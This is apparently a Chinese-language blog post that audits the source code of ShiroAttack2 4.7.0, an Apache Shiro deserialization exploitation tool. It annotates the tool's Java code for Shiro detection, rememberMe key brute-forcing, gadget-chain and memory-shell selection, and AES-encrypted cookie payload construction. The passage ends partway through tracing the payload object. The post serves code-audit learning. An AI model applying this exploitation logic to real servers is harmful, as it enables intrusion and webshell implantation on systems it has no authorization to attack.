shiro_attack2-4.7.0反序列化漏洞利用工具源码保姆级分析

前言

前段时间我以代码审计的角度重新审计过shiro1.2.4反序列化漏洞后发现,这种代审的角度和当时参考的博客审计角度较为单一,只分析了漏洞发生的原因,没有很完整的代码审计,因此我觉得对我的代审水平提升不大,不如直接找一个现成的项目结合AI来进行完整的分析,这不上次shiro漏洞利用博客中提到一个shiro利用工具嘛,他是师傅开源的,说干就干,本博客将边审计边更新博客-保姆级审计😄。尽量以开发者的角度去分析代码,非二次审计,因此可能会写的较为粗糙(BYD没有参考博客,全靠手搓)。

shiro_attack2-4.7.0反序列化漏洞利用工具源码分析

工具介绍

shiro_attack2-4.7.0

工具就不介绍了,就是个漏洞利用工具
位置如下
https://github.com/SummerSec/ShiroAttack2/releases/tag/4.7.0

cursor

cursor是一个集成了GPT4、Claude 3.5等先进LLM的类vscode的编译器,可以理解为在vscode中集成了AI辅助编程助手。
刷视频看到很多人喜欢拿这个写毕设,嘻嘻,那么可以用它来配合我代码审计

ctrl+I 打开ai对话分析代码就对了
操作什么的看这个https://zhuanlan.zhihu.com/p/16508727483

IDEA

因为shiro利用工具是用java编写,所以直接拖到IDEA分析即可

页面构造源码分析

首先让ai进行分析我们拖入的源码

根据ai分析,项目基于java,使用javaFX图形框架
主入口在src/main/java/com/summersec/attack/UI/Main.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package com.summersec.attack.UI;

import com.summersec.attack.utils.HttpUtil_bak;
import javafx.application.Application;
import javafx.fxml.FXMLLoader;
import javafx.scene.Parent;
import javafx.scene.Scene;
import javafx.stage.Stage;

public class Main extends Application {
public Main() {
}

@Override
public void start(Stage primaryStage) throws Exception {
Parent root = FXMLLoader.load(getClass().getResource("/gui.fxml"));
primaryStage.setTitle("shiro反序列化漏洞综合利用工具 增强版 SummerSec");
Scene scene = new Scene(root);
primaryStage.setScene(scene);
primaryStage.show();
HttpUtil_bak.disableSslVerification();
}

public static void main(String[] args) {
launch(args);
}
}

定位到入口看看

OK,Main.java主要是构建图形界面,加载了gui.fxml
ctrl+左键进入查看这个文件
gui.fxml主要就是图形界面的内容,和html差不多
由于有三百多行,所以按部分分析

1
2
3
4
5
6
<?import javafx.geometry.*?>       <!-- 几何布局相关 -->
<?import javafx.scene.*?> <!-- 场景图基础 -->
<?import javafx.scene.control.*?> <!-- 控件 -->
<?import javafx.scene.effect.*?> <!-- 特效 -->
<?import javafx.scene.layout.*?> <!-- 布局容器 -->
<?import javafx.scene.text.*?> <!-- 文本相关 -->

导入功能和java的import功能一样

再看vBox标签
VBox标签定义了整体布局

1
2
3
4
5
//prefHeight = "800.0" :首选高度800像素
//prefWidth = "1000.0":首选宽度1000像素
//max/minHeight="-Infinity":最大/最小高度无限制,-Infinity表示无约束,可随内容调整
//fx:controller="com.summersec.attack.UI.MainController":指定这个FXML文件的控制器类
<VBox maxHeight="-Infinity" maxWidth="-Infinity" minHeight="-Infinity" minWidth="-Infinity" prefHeight="800.0" prefWidth="1000.0" xmlns="http://javafx.com/javafx/11.0.2" xmlns:fx="http://javafx.com/fxml/1" fx:controller="com.summersec.attack.UI.MainController">

设置-代理页面构建

来分析第一个功能点

在gui.fxml对应

1
2
3
4
5
6
7
8
9
<MenuBar>
<menus>
<Menu mnemonicParsing="false" text="设置">
<items>
<MenuItem fx:id="proxySetupBtn" mnemonicParsing="false" text="代理" />
</items>
</Menu>
</menus>
</MenuBar>

首先,前面VBox标签指定了FXML文件的控制器类
步骤是这样的

当执行FXMLLoader.load()时,JavaFX框架内部会:

  1. 读取gui.fxml文件
  2. 解析XML结构
  3. 发现 fx:controller=”com.summersec.attack.UI.MainController”
    看上面代码的id,当点击代理时
  4. 在 FXML 中查找 fx:id=”proxySetupBtn”
  5. 找到对应的 MenuItem 节点

    找到后,FXMLLoader会自动查找并调用initialize()方法
    至于为啥自动,这是一个javaFX的一个特性,不详细了解

    跟进一下initToolbar,代码太多,直接以注释的形式
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    142
    143
    144
    145
    146
    147
    148
    149
    150
    151
    152
    153
    154
    155
    156
    157
    158
    159
    160
    161
    162
    163
    164
    165
    166
    167
    168
    private void initToolbar() {
    //为 proxySetupBtn 设置点击事件处理器
    this.proxySetupBtn.setOnAction((event) -> {
    Alert inputDialog = new Alert(AlertType.NONE);//创建自定义对话框,AlertType.NONE表示无默认按钮,由我们自定义
    inputDialog.setResizable(true);//允许用户调整对话框大小
    //获取对话框的窗口对象,用户设置关闭行为
    Window window = inputDialog.getDialogPane().getScene().getWindow();
    //设置关闭事件,点击关闭按钮时隐藏窗口(而非销毁)
    window.setOnCloseRequest((e) -> {
    window.hide();
    });
    //创建单选按钮组,确保同一时间只能选一个
    ToggleGroup statusGroup = new ToggleGroup();
    //创建两个单选按钮
    RadioButton enableRadio = new RadioButton("启用");
    RadioButton disableRadio = new RadioButton("禁用");
    //将两个按钮加入同一组,互斥
    enableRadio.setToggleGroup(statusGroup);
    disableRadio.setToggleGroup(statusGroup);
    //创建水平布局容器,设置间距10,并添加两个单选按钮
    HBox statusHbox = new HBox();
    statusHbox.setSpacing(10.0D);
    statusHbox.getChildren().add(enableRadio);
    statusHbox.getChildren().add(disableRadio);
    //创建网格布局,用户排列对话框内容
    GridPane proxyGridPane = new GridPane();
    //设置行间距(垂直间距)为15像素
    proxyGridPane.setVgap(15.0D);
    //设置内边距(上、右、下、左)
    proxyGridPane.setPadding(new Insets(20.0D, 20.0D, 0.0D, 10.0D));
    //创建标签“类型”
    Label typeLabel = new Label("类型:");
    //创建代理类型下拉框
    ComboBox<String> typeCombo = new ComboBox();
    //设置选项为HTTP和SOCKS
    typeCombo.setItems(FXCollections.observableArrayList(new String[]{"HTTP", "SOCKS"}));
    //默认选中第一项(HTTP)
    typeCombo.getSelectionModel().select(0);
    Label IPLabel = new Label("IP地址:");//创建IP地址标签
    TextField IPText = new TextField();//创建输入框
    IPText.setText("127.0.0.1");//输入框默认值127.0.0.1
    Label PortLabel = new Label("端口:");//创建端口标签
    TextField PortText = new TextField();//创建输入框
    PortText.setText("8080");//默认值8080
    Label userNameLabel = new Label("用户名:");//创建用户名标签
    TextField userNameText = new TextField();//创建输入框
    Label passwordLabel = new Label("密码:");//创建密码标签
    TextField passwordText = new TextField();//创建输入框
    Button cancelBtn = new Button("取消");//创建取消按钮
    Button saveBtn = new Button("保存");//创建保存按钮
    saveBtn.setDefaultButton(true);//将保存设为默认按钮(按Enter触发)
    //检查是否右已保存的代理
    if (currentProxy.get("proxy") != null) {
    //从已保存的代理对象中提取IP和端口
    Proxy currProxy = (Proxy)currentProxy.get("proxy");
    String proxyInfo = currProxy.address().toString();
    String[] info = proxyInfo.split(":");
    String hisIpAddress = info[0].replace("/", "");
    String hisPort = info[1];
    //将历史IP和端口填入输入框,并选中“启用”
    IPText.setText(hisIpAddress);
    PortText.setText(hisPort);
    enableRadio.setSelected(true);
    //控制台输出代理信息(调试)
    System.out.println(proxyInfo);
    } else {
    //没有历史配置时,默认选中“禁用”
    enableRadio.setSelected(false);
    }
    //为保存按钮绑定点击事件
    saveBtn.setOnAction((e) -> {
    //如果选择禁用代理
    if (disableRadio.isSelected()) {
    //清空代理配置,清空状态标签,关闭对话框
    currentProxy.put("proxy", (Object)null);
    this.proxyStatusLabel.setText("");
    inputDialog.getDialogPane().getScene().getWindow().hide();
    } else {
    //否则,启用代理
    //声明代理类型
    String type;
    //IP地址变量
    String ipAddress;
    //判断用户名输入框是否非空
    if (!userNameText.getText().trim().equals("")) {
    //取用户名(变量名ipAddress只是复用,实际上存的用户名)
    ipAddress = userNameText.getText().trim();
    //取密码(变更两名type只是复用,实际是密码)
    type = passwordText.getText();
    //复制为final变量,供内部类使用
    String finalIpAddress = ipAddress;
    String finalType = type;
    //设置全局默认认证器
    Authenticator.setDefault(new Authenticator() {
    @Override
    public PasswordAuthentication getPasswordAuthentication() {
    return new PasswordAuthentication(finalIpAddress, finalType.toCharArray());
    }
    });
    } else {
    //用户名为空,则一处全局认证器
    Authenticator.setDefault((Authenticator)null);
    }
    //将用户名存入currentProxy
    currentProxy.put("username", userNameText.getText());
    //将密码存入currentProxy
    currentProxy.put("password", passwordText.getText());
    //从输入框获取IP
    ipAddress = IPText.getText();
    //从输入框获取端口
    String port = PortText.getText();
    //将IP和端口转换为InetSocketAddress
    InetSocketAddress proxyAddr = new InetSocketAddress(ipAddress, Integer.parseInt(port));
    //从下拉框获取选中的代理类型(HTTP或SOCKS)
    type = ((String)typeCombo.getValue()).toString();
    //声明代理对象变量
    Proxy proxy;
    //根据类型创建HTTP或SOCKS代理,并存入currentProxy
    if (type.equals("HTTP")) {
    proxy = new Proxy(Type.HTTP, proxyAddr);
    currentProxy.put("proxy", proxy);
    } else if (type.equals("SOCKS")) {
    proxy = new Proxy(Type.SOCKS, proxyAddr);
    currentProxy.put("proxy", proxy);
    }
    //再界面底部显示代理状态
    this.proxyStatusLabel.setText("代理生效中: " + ipAddress + ":" + port);
    //隐藏对话框
    inputDialog.getDialogPane().getScene().getWindow().hide();
    }

    });
    //绑定取消按钮点击事件,点击“取消”时直接关闭对话框,不保存
    cancelBtn.setOnAction((e) -> {
    inputDialog.getDialogPane().getScene().getWindow().hide();
    });
    //将控件添加到网络布局,按行列位置将控件添加到网格布局
    proxyGridPane.add(statusHbox, 1, 0);//第0行第1列:启用/停用单选
    proxyGridPane.add(typeLabel, 0, 1);//第1行第0列:类型标签
    proxyGridPane.add(typeCombo, 1, 1);//第1行第1列:类型下拉框
    proxyGridPane.add(IPLabel, 0, 2);//第2行第0列:IP标签
    proxyGridPane.add(IPText, 1, 2);//第2行第1列:IP输入框
    proxyGridPane.add(PortLabel, 0, 3);//第3行第0列:端口标签
    proxyGridPane.add(PortText, 1, 3);//第3行第1列:端口输入框
    proxyGridPane.add(userNameLabel, 0, 4);//第4行第0列:用户名标签
    proxyGridPane.add(userNameText, 1, 4);//第4行第1列:用户名输入框
    proxyGridPane.add(passwordLabel, 0, 5);//第5行第0列:密码标签
    proxyGridPane.add(passwordText, 1, 5);//第5行第1列:密码输入框
    //创建一个水平布局容器HBox,用来横向摆放子节点(这里是两个按钮)
    HBox buttonBox = new HBox();
    //设置子节点之间的水平间距为20像素,让两个按钮之间流出空隙。
    buttonBox.setSpacing(20.0D);
    //设置容器内子节点的对齐方式为居中,整体再HBox内水平居中摆放。
    buttonBox.setAlignment(Pos.CENTER);
    //将“取消”按钮加入到HBox的子节点列表,称为第一个按钮
    buttonBox.getChildren().add(cancelBtn);
    //将“保存”按钮加入到HBox的子节点列表,排在“取消”按钮之后。
    buttonBox.getChildren().add(saveBtn);
    //让按钮容器跨越2列
    GridPane.setColumnSpan(buttonBox, 2);
    //将按钮容器添加到第6行第0列(跨2列)
    proxyGridPane.add(buttonBox, 0, 6);
    //将组装好的网格布局设置为对话框内容
    inputDialog.getDialogPane().setContent(proxyGridPane);
    //显示对话框并阻塞等待用户操作(关闭后继续)
    inputDialog.showAndWait();
    });
    }

    以上代码注意一个点是currentProxy.put("proxy", proxy);,这一步把代理配置存入全局静态map,上面代码未以用代理发送请求
    以上代码只是把代理对象存到全局currentProxy,不会立刻发请求,真正用到代理是在后续“发请求”的方法里,比如AttackService.headerHttpRequest()/bodyHttpRequest(),这些方法会从currentProxy去除代理并setProxy(…)。调用链大致是:
  • 再对话框点击“保存”->currentProxy.put(“proxy”,proxy)(仅存储)
  • 之后点击功能按钮(如“检测/爆破密钥”、“检测/爆破利用链”、“执行命令”、“注入内存马”):
  1. UI事件里先initAttack()创建AttackService
  2. AttackService内部再发HTTP时调用headerHttpRequest()或bodyHttpRequest()
  3. 这两个方法里 Proxy proxy = (Proxy) MainController.currentProxy.get(“proxy”);,再 .setProxy(proxy) 发送请求

示例(发请求时取代理并设置)

1
2
Proxy proxy = (Proxy)MainController.currentProxy.get("proxy");
cn.hutool.http.HttpUtil.createRequest(...).setProxy(proxy)...

所以:保存代理 != 立刻请求;只有当后续按钮触发 AttackService 里的请求方法时,代理才会被取用并生效。

初始化所有下拉框的选项和默认值

按照顺序,接下来继续跟进this.initComBoBox();

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
public void initComBoBox() {
// HTTP方法下拉:只保留GET/POST
ObservableList<String> methods = FXCollections.observableArrayList(new String[]{"GET", "POST"});
this.methodOpt.setPromptText("GET");//提示文字
this.methodOpt.setValue("GET");//默认选中GET
this.methodOpt.setItems(methods);//绑定选项
//利用链下拉(gadget列表,含多个commons-beanutils/collections变种)
ObservableList<String> gadgets = FXCollections.observableArrayList(new String[]{ "CommonsBeanutils1","CommonsBeanutils1_183", "CommonsCollections2", "CommonsCollections3", "CommonsCollectionsK1", "CommonsCollectionsK2", "CommonsBeanutilsString", "CommonsBeanutilsString_183", "CommonsBeanutilsAttrCompare", "CommonsBeanutilsAttrCompare_183", "CommonsBeanutilsPropertySource","CommonsBeanutilsPropertySource_183", "CommonsBeanutilsObjectToStringComparator", "CommonsBeanutilsObjectToStringComparator_183"});
//提示
this.gadgetOpt.setPromptText("CommonsBeanutilsString");
//默认选中
this.gadgetOpt.setValue("CommonsBeanutilsString");
//绑定选项
this.gadgetOpt.setItems(gadgets);
//回显方式下拉
ObservableList<String> echoes = FXCollections.observableArrayList(new String[]{"AllEcho","TomcatEcho", "SpringEcho"});
//提示
this.echoOpt.setPromptText("TomcatEcho");
//默认选中
this.echoOpt.setValue("TomcatEcho");
//绑定选项
this.echoOpt.setItems(echoes);
//内存马默认密码
this.shellPassText.setText("pass1024");
//内存马默认路径
this.shellPathText.setText("/favicondemo.ico");
//内存马类型下拉(Filter/Servlet多种类型)
final ObservableList<String> memShells = FXCollections.observableArrayList(new String[]{"哥斯拉[Filter]", "蚁剑[Filter]", "冰蝎[Filter]", "NeoreGeorg[Filter]", "reGeorg[Filter]", "哥斯拉[Servlet]", "蚁剑[Servlet]", "冰蝎[Servlet]", "NeoreGeorg[Servlet]", "reGeorg[Servlet]", "ChangeShiroKey[Filter]", "ChangeShiroKey[Filter2]", "BastionFilter", "BastionEncryFilter", "AddDllFilter"});
//提示
this.memShellOpt.setPromptText("冰蝎[Filter]");
//默认选中
this.memShellOpt.setValue("冰蝎[Filter]");
//绑定选项
this.memShellOpt.setItems(memShells);
//内存马下拉的选项监听:根据类型禁用/启用路径或密码输入
this.memShellOpt.getSelectionModel().selectedIndexProperty().addListener(new ChangeListener<Number>() {
//获取下拉框的选中索引属性,注册一个监听器。当用户选择项变化时触发changed
@Override
//number是旧索引,number2是新索引。用新索引判断当前选中项
public void changed(ObservableValue<? extends Number> observableValue, Number number, Number number2) {
//如果选中的内存马名称包括reGeorg,禁用密码输入框(reGeorg型不需要密码);否则恢复可用
if (((String)memShells.get(number2.intValue())).contains("reGeorg") ) {
MainController.this.shellPassText.setDisable(true);//reGeorg不需要密码
} else {
MainController.this.shellPassText.setDisable(false);
}
//如果选中的项包含ChangeShiroKey,禁用路径输入框(无需自定义路径),并把密码框填入固定密钥;否则路劲输入框恢复可用
if (((String)memShells.get(number2.intValue())).contains("ChangeShiroKey")){
MainController.this.shellPathText.setDisable(true);
MainController.this.shellPassText.setText("FcoRsBKe9XB3zOHbxTG0Lw==");
}else {
MainController.this.shellPathText.setDisable(false);
}

}
});
//再次把路径输入框设为默认/favicondemo.ico,避免监听过程中值被改为空
this.shellPathText.setText("/favicondemo.ico");//再次设定默认路径(确保监听后仍有默认值)
}

设置页面控件的默认值

1
2
3
4
5
6
public void initContext() {
//给“关键字”输入框设置默认值rememberMe,这是Shiro默认的Cookie名称,用户后续探测/构造rememberMe
this.shiroKeyWord.setText("rememberMe");
//给“超时设置/s”输入框设置默认值10s,后续构造AttackService时会将其乘以1000变成毫秒作为HTTP请求超时时间。
this.httpTimeout.setText("10");
}

将当前MainController实例注册到全局控制器

1
ControllersFactory.controllers.put(MainController.class.getSimpleName(), this);


这段代码的作用时是,将当前MainController实例注册到ControllerFactory的全局Map,供其他类获取
例如AttackService的构造函数里,要把日志写回UI或控制页面的组件,就回去全局取控制器

1
this.mainController = (MainController) ControllersFactory.controllers.get(MainController.class.getSimpleName());

得到控制器后,就能调用 mainController.logTextArea.appendText(…)、mainController.gadgetOpt.setValue(…) 之类的 UI 操作。

开发者思路

  • initialize()完成界面自初始化(菜单、下拉框、默认值),最后一步登记到Factory。
  • 核心服务AttackService、命令执行、内存马注入等模块随时可以通过Factory调用UUI组件,形成完整闭环;
  1. UI按钮点击->创建/调用AttackService
  2. AttackService在内部需要更新日志/状态时,再通过Factory找到控制默认->反向更新UI
  • 这种模式像“全局事件中心”或“控制器管理器”,减少直接耦合,让多个类共享同一个UI控制器实例。

功能源码分析

检测当前密钥分析


首先在gui.fxml找到入口,按键绑定

1
2
3
4
<Button fx:id="crackSpcKeyBtn" mnemonicParsing="false" onAction="#crackSpcKeyBtn" prefHeight="25.0" prefWidth="113.0" text="检测当前密钥">
<font>
<Font size="14.0" />
</font></Button>

接着定位控制器方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
@FXML
void crackSpcKeyBtn(ActionEvent event) {
//从界面取目标URL、方法、超时、自定义头、POST数据、创建AttackService实例;设置CBC/GCM
this.initAttack();
//先确认目标是否是Shiro应用,避免无谓爆破。
if (this.attackService.checkIsShiro()) {
//取界面“指定密钥”输入框的内容
String spcShiroKey = this.shiroKey.getText();
//若非空,调用simpleKeyCrack用这个key直接验证。
if (!spcShiroKey.equals("")) {
this.attackService.simpleKeyCrack(spcShiroKey);
} else {
//为空则提示
this.logTextArea.appendText(Utils.log("请输入指定密钥"));
}
}

}

跟进initAttack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
public void initAttack() {
//读界面上的“关键字”输入框(默认rememberMe),用户构造Cookie名。
String shiroKeyWordText = this.shiroKeyWord.getText();
//读界面上的目标地址URL。
String targetAddressText = this.targetAddress.getText();
//读界面上的超时输入(秒,稍后会转成毫秒)。
String httpTimeoutText = this.httpTimeout.getText();
//自定义请求头,为自定义请求头准备一个Map
Map<String, String> myheader= new HashMap<>() ;
//如果用户填了自定义请求头
if(!this.globalHeader.getText().equals("")) {
//将&&&拆分成多组,再按第一个冒号拆成key/value
String headers[] = this.globalHeader.getText().split("&&&");
for (int i = 0; i < headers.length; i++ ) {
String header[] = headers[i].split(":", 2);
//如果key是cookie(忽略大小写),放入cookie,否则放入Map
if (header[0].toLowerCase().equals("cookie")) {
myheader.put("Cookie", header[1]);
} else {
myheader.put(header[0], header[1]);
}
}
}
//读POST数据输入框(若方法选POST会用到)
String postData = (String)this.post_data.getText();
//读HTTP方法下拉框当前选项(GET/POST)
String reqMethod = (String)this.methodOpt.getValue();
//用上面收集的参数创建AttackService实例
//方法、URL、Cookie名、超时(字符串、AttackService内会转毫秒)、自定义头、POST数据。
this.attackService = new AttackService(reqMethod, targetAddressText, shiroKeyWordText, httpTimeoutText,myheader,postData);
//根据界面上“AES GCM”复选框,设置全局加密模式:
//这个标志会影响后续Shiro加密时使用的算法。
//选中->aesGcmCipherType = 1(GCM)
if (this.aesGcmOpt.isSelected()) {
AttackService.aesGcmCipherType = 1;
//未选->aesGcmCipherType = 0(默认 CBC)
} else {
AttackService.aesGcmCipherType = 0;
}

}

跟进AttackService.checkIsShiro()方法

回到fxml绑定的事件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
@FXML
void crackSpcKeyBtn(ActionEvent event) {
//从界面取目标URL、方法、超时、自定义头、POST数据、创建AttackService实例;设置CBC/GCM
this.initAttack();
//先确认目标是否是Shiro应用,避免无谓爆破。
if (this.attackService.checkIsShiro()) {
//取界面“指定密钥”输入框的内容
String spcShiroKey = this.shiroKey.getText();
//若非空,调用simpleKeyCrack用这个key直接验证。
if (!spcShiroKey.equals("")) {
this.attackService.simpleKeyCrack(spcShiroKey);
} else {
//为空则提示
this.logTextArea.appendText(Utils.log("请输入指定密钥"));
}
}

}

initAttack()分析完了,现在分析跟进checkIsShiro()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
    public boolean checkIsShiro() {
//初始化返回值flag=false
boolean flag = false;
try {
HashMap<String, String> header = new HashMap();
//构造请求头:Cookie: <shiroKeyWord>=yes(默认 rememberMe=yes)。
header.put("Cookie", this.shiroKeyWord + "=yes");
//调用 headerHttpRequest 发送请求(会自动带代理、合并用户自定义头)。
String result = this.headerHttpRequest(header);
//判断响应里是否包含=deleteMe(Shiro默认删除无效rememberMe时的标志)
flag = result.contains("=deleteMe");
//如果发现deleteMe
if (flag) {
//记录日志"存在shiro框架"
this.mainController.logTextArea.appendText(Utils.log("[++] 存在shiro框架!"));
flag = true;
//计算并记录响应里deleteMe出现次数flagCount(用于多Shiro场景判定)
flagCount = countDeleteMe(result);


} else {
// 再次确认shiro
HashMap<String, String> header1 = new HashMap();
//随机值再他北侧
header1.put("Cookie", this.shiroKeyWord + "=" + AttackService.getRandomString(10));
//再发一个请求
String result1 = this.headerHttpRequest(header1);
//再次检查deleteMe
flag = result1.contains("=deleteMe");
//第二次命中
if(flag){
this.mainController.logTextArea.appendText(Utils.log("[++] 存在shiro框架!"));
flag = true;
//仍然记录deleteMe计数
flagCount = countDeleteMe(result);
//两次都未命中
}else {

this.mainController.logTextArea.appendText(Utils.log("[-] 未发现shiro框架!"));

}
}
} catch (Exception var4) {//任意异常都写入日志
if (var4.getMessage() != null) {
this.mainController.logTextArea.appendText(Utils.log(var4.getMessage()));
}
}
//返回最终判定;是否shiro
return flag;
}
跟进headerHttpRequest
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public String headerHttpRequest(HashMap<String, String> header) {
//响应结果占位
String result = null;
//合并用户自定义头(全局头+传入头)
HashMap combineHeaders = this.getCombineHeaders(header);
//取出当前设置的代理(可能为null)
Proxy proxy = (Proxy)MainController.currentProxy.get("proxy");
try {
//GET请求分支
if (this.method.equals("GET")) {
//设置代理、设置所有头、不自动跟随重定向、执行并转字符串
result = cn.hutool.http.HttpUtil.createRequest(Method.valueOf(this.method),this.url).setProxy(proxy).headerMap(combineHeaders,true).setFollowRedirects(false).execute().toString();
//非GET(POST)分支
} else {
//postData,POST数据来自initAttack时传入的postData
result = HttpUtil.postHttpReuest(this.url, this.postData, "UTF-8", combineHeaders, "application/x-www-form-urlencoded", this.timeout);
//控制台打印响应(调试)
System.out.println(result);

}
} catch (Exception var5) {//异常处理:写入日志
this.mainController.logTextArea.appendText(Utils.log(var5.getMessage()));
}


return result;//返回响应字符串
}

ok,headerHttpRequest分析完了,但是里面还涉及到了一个方法

跟进getCombineHeaders()方法

跟进一下getCombineHeaders()
调用地方如图所示,跟进一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public HashMap<String, String> getCombineHeaders(HashMap<String, String> header) {
//创建结果Map,存放合并后的请求头
HashMap<String, String> combineHeaders = new HashMap();
//获取全局自定义请求头的所有key(来自initAttack时用户输入的“复杂请求”)
Set<String> keySet = globalHeader.keySet();
//如果用户设置了自定义请求头
if (keySet.size() != 0) {
//遍历全局自定义请求头的每个key
for (String key : keySet) {
//如果全局头中有cookie
if (key.equals("Cookie")) {
//将全局cookie和传入的cookie拼接(用分号+空格分隔)
header.replace("Cookie", globalHeader.get(key) + "; " + header.get(key));
//把拼接后的header全部放入结果Map
combineHeaders.putAll(header);
//如果不是cookie,是其他请求头
} else {
//先把传入的header放入结果Map
combineHeaders.putAll(header);
//再把全局自定义头添加/覆盖到结果Map
combineHeaders.put(key, globalHeader.get(key));
}
}
//如果用户没有设置自定义请求头
} else {
//直接使用传入的header,不做合并
combineHeaders = header;
}
//返回合并后请求头Map
return combineHeaders;
}

跟进attackService.simpleKeyCrack()方法

回到MainController.crackSpcKeyBtn()调用

crtl+鼠标左键跟进

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public void simpleKeyCrack(String shiroKey) {
try {
//创建临时列表,用于存放要检测的密钥
List<String> tempList = new ArrayList();
//将用户输入的指定密钥添加到列表中(虽然只有一个,但为了复用keyTestTask的代码结构)
tempList.add(shiroKey);
//判断是否为单shiro场景(flagCount在checkIsShiro()中通过countDeleteMe()计算得出)
if (flagCount ==1){
//单shiro场景,调用keyTestTask()进行密钥检测
this.keyTestTask(tempList);
}
//多shiro场景
else{
//多shiro场景,调用keyTastTask2()进行密钥检测(使用不同的判断逻辑)
this.keyTestTask2(tempList);}

} catch (Exception var3) {//捕获异常
//将异常信息写入日志
this.mainController.logTextArea.appendText(Utils.log(var3.getMessage()));
}

}
跟进keyTestTask()方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
public void keyTestTask(final List<String> shiroKeys) {
//创建新线程,避免阻塞UI线程
Thread thread = new Thread(new Runnable() {
public void run() {
try {
//遍历密钥列表(虽然simpleKeyCrack只传一个,但支持批量)
for(int i = 0; i < shiroKeys.size(); ++i) {
//获取当前要检测的密钥
String shirokey = (String)shiroKeys.get(i);

try {
//使用密钥生成rememberMe Cookie(这里存在一个重要的引用)
String rememberMe = AttackService.shiro.sendpayload(AttackService.principal, AttackService.this.shiroKeyWord, (String)shiroKeys.get(i));
//常见请求头Map
HashMap<String, String> header = new HashMap();
//将生成的rememberMe放入Cookie头
header.put("Cookie", rememberMe);
//发送HTTP请求(这个方法在上面已经分析过了)
String result = AttackService.this.headerHttpRequest(header);
//线程休眠100毫秒,避免请求过快
Thread.sleep(100L);
//判断响应:不为空且不包含deleteMe(说明密钥正确)
if (result!=null &&!result.isEmpty()&&!result.contains("=deleteMe")) {
//写入成功日志
AttackService.this.mainController.logTextArea.appendText(Utils.log("[++] 找到key:" + shirokey));
//将找到的密钥回填到界面输入框
AttackService.this.mainController.shiroKey.setText(shirokey);
//保存到静态变量,供后续使用
AttackService.realShiroKey = shirokey;
//找到密钥后跳出循环,停止检测
break;
}
//密钥错误,记录失败日志
AttackService.this.mainController.logTextArea.appendText(Utils.log("[-] " + shirokey));
} catch (Exception var6) {//捕获单个密钥检测时的异常
//记录异常信息
AttackService.this.mainController.logTextArea.appendText(Utils.log("[-] " + shirokey + " " + var6.getMessage()));
}

}
//所有密钥检测完成,记录结束日志
AttackService.this.mainController.logTextArea.appendText(Utils.log("[+] 爆破结束"));

} catch (Exception var7) {//捕获外层异常
//重新抛出异常
throw var7;
}
}
});
//启动线程,开始执行密钥检测任务
thread.start();
}
跟进shiro.sendpayload()方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
@Override
public String sendpayload(Object chainObject, String shiroKeyWord, String key) throws Exception {
//将chainObject(序列化对象)序列化为字节数组
byte[] serpayload = SerializableUtils.toByteArray(chainObject);
//将密钥从Base64字符串解码为字节数组(Shiro密钥通常是Base64编码的)
byte[] bkey = DatatypeConverter.parseBase64Binary(key);
//声明加密后的字节数组变量(实际未使用,代码中有注释掉的旧逻辑)
byte[] encryptpayload = null;
//判断加密模式;1=AES-GCM,0=AES-CBC(在initAttack()中根据界面复选框设置)
if (AttackService.aesGcmCipherType == 1) {
//创建AES-GCM加密器实例
ShiroGCM shiroGCM = new ShiroGCM();
//使用GCM模式加密序列化后的payload,返回base64编码的字符串
String byteSource = shiroGCM.encrypt(key,serpayload);
//控制台打印生成的Cookie值(调试用)
System.out.println(shiroKeyWord + "=" + byteSource);
//返回格式化的Cookie字符串,例如“rememberMe=xxx”
return shiroKeyWord + "=" + byteSource;

} else {//AES-CBC模式(默认)
//创建AES-CBC加密器实例
CbcEncrypt cbcEncrypt = new CbcEncrypt();
//使用CBC模式加密序列化后的payload,返回base64编码的字符串
String byteSource = cbcEncrypt.encrypt(key, serpayload);
//控制台打印生成的Cookie值(调试用)
System.out.println(shiroKeyWord + "=" + byteSource);
//返回格式化的Cookie字符串,例如“rememberMe=xxx”
return shiroKeyWord + "=" + byteSource;
}



}

这里byte[] serpayload = SerializableUtils.toByteArray(chainObject);其实前面并没有分析,这个引用方法是使用的第三方库com.mchange.v2.ser.SerializableUtils,但是这个里面传入的参数有必要去跟踪一下
回溯chainObject的形成过程与调用链

往回推一下函数的调用与参数,回到sendpayload()

第一个参数,ctrl+左键查看

1
public static Object principal = KeyEcho.getObject();

AttackService类加载时,静态变量principal被初始化为KeyEcho.getObject()的返回值。
